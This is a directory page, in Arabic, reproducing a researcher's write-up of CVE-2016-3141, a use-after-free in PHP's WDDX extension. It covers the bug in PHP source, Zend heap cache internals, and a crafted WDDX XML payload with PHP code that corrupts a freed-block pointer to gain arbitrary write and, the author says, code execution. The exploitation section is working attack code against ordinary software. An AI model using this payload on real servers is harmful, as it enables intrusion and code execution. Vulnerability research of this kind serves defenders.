Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2016-3141 — CVE-2016-3141 | Kitploit
أدوات/GitHubGitHub/peternguyen93/cve-2016-3141
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةتحليل الكودالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

عرض المستودع
15412منذ 10 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2016-3141

1. تفاصيل الثغرة الأمنية.

ثغرة استخدام بعد التحرير (Use-after-free) في ملف wddx.c في إضافة WDDX في PHP قبل الإصدار 5.5.33 و 5.6.x قبل 5.6.19 تسمح للمهاجمين عن بُعد بالتسبب في رفض الخدمة (تلف في الذاكرة وتعطل التطبيق) أو ربما تأثير آخر غير محدد عن طريق تشغيل استدعاء wddx_deserialize على بيانات XML تحتوي على عنصر var مصمم خصيصًا.

2. نظرة عامة على الخطأ البرمجي.

هذا خطأ من نوع استخدام بعد التحرير (Use After Free)، يحدث عندما يحاول wddx معالجة بيانات XML. ألقِ نظرة على هذا الكود في الدالة php_wddx_deserialize_ex. عندما يتم استدعاء wddx_deserialize($xml) مع بعض بيانات XML، سيقوم PHP باستدعاء هذه الدالة ثم تعيين بعض الدوال لمعالجة وسوم XML والبيانات.

	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

الدالة php_wddx_push_element تقوم بإنشاء مدخل (entry) لوسم (tag) كما ترى في هذا المقتطف. على سبيل المثال، عندما تدخل <string>Hello World</string>، وعند مواجهة الوسم الافتتاحي <string> سيتم استدعاء php\_wddx\_push\_element لإنشاء st_entry لتخزين معلومات الوسم. ألق نظرة على مقتطف الكود أدناه.

static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME هو إجراء (procedure) معرف أدناه. هذا الإجراء بسيط: يتحقق من stack->varname للوسم، إذا لم يكن NULL، فسيقوم باستنساخ stack->varname ثم تحريره.

#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

الخطأ حدث في php_wddx_pop_element. عندما يقوم XML بإغلاق وسم var، فإنه يحرر varname لهذا الوسم، ولا يزال هذا المؤشر المُحرّر مخزناً في stack->varname. على سبيل المثال، إذا قمت بإنشاء وسم var مثل <var name='UAF'></var>، فإن php_wddx_push_element سيقوم بإنشاء هيكل لتخزين هذا الوسم var، ثم عند إغلاق هذا الوسم يتم تحريره ولكن من دون تعيين stack->name إلى NULL أو تقليل stack->top، وبعد ذلك إذا قمت بإنشاء وسم آخر مثل <string> فإن الدالة SET_STACK_VARNAME ستعيد استخدام هذا المؤشر المُحرّر.

static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. الاستغلال

عندما رأيت هذا الخطأ لأول مرة، فكرت "ألا يمكنني تحويل هذا الخطأ إلى تنفيذ كود؟". أولاً، يجب أن أفهم كيف يعمل Zend Heap، انظر إلى الدالة _zend_mm_alloc_int في zend_alloc.c أدناه.

if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

إذا قمنا بتخصيص كتلة بحجم صغير (أقل من 256 بايت)، فإن zend_alloc سيستخدم heap->cache، وهي قائمة من الكتل الحرة الصغيرة المخزنة في قائمة مرتبطة. هذا heap->cache يشبه malloc fast_bin. إذا تمكنا بطريقة ما من الكتابة فوق مؤشر best_fit->prev_free_block بعنواننا الخاص، فعند استدعاء zend_alloc مرة أخرى سنتمكن من استخدام ذلك العنوان للكتابة في مكان ما في الذاكرة.

للقيام بذلك، سأقوم بإنشاء wddx XML التالي:

$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. إنشاء 32 بايت (chunk_a) باستخدام وسم binary لأن هذا الوسم يسمح لك بإدخال أحرف غير قابلة للطباعة.
  2. إنشاء اسم بنفس حجم أول وسم binary، وجعل هذا الاسم يتم تحريره (chunk_b).
  3. إنشاء كتلة حشو بحجم 64 بايت (chunk_c).
  4. إنشاء اسم بحجم 8 بايت ثم تحريره (chunk_d).
  5. بعد إلغاء تسلسل (deserialize) هذا $xml، أقوم بعمل حلقة foreach خلال هذا الكائن؛ في الحلقة الأولى، $k يشير الآن إلى chunk_b (المحرر)، $v يشير إلى chunk_a. استخدم عملية concat_function للكتابة فوق best_fit->prev_free_block ببياناتي الخاصة.
  6. استخدم تحويل النص في PHP (string casting) الذي يستدعي estrncpy لإنشاء كتلة جديدة (chunk_e) تشير الآن إلى chunk_b وجعل heap->cache[index] يخزن القيمة الخاصة.
  7. حسناً، كرر ذلك: استدعاء estrncpy($v,32) ($v = $binary_value)، المرة الأولى عند استدعاء zend_alloc مجدداً نحصل على تعطل $r12 = 0x4343434343. إذا استبدلنا هذه القيمة بعنوان آخر، فإن estrncpy سيقوم بسعادة باستدعاء memcpy(r12,v,size) وبذلك يمكننا الكتابة فوق أي مكان نريده.

Crash

يمكنك رؤية الاستغلال الكامل الخاص بي هنا peter_code_execute.php (تم اختباره على Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).

أخيراً، تمكنت من تحويل هذا الخطأ إلى تنفيذ كود بنجاح. Result

4. المراجع

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

تنزيل الأداة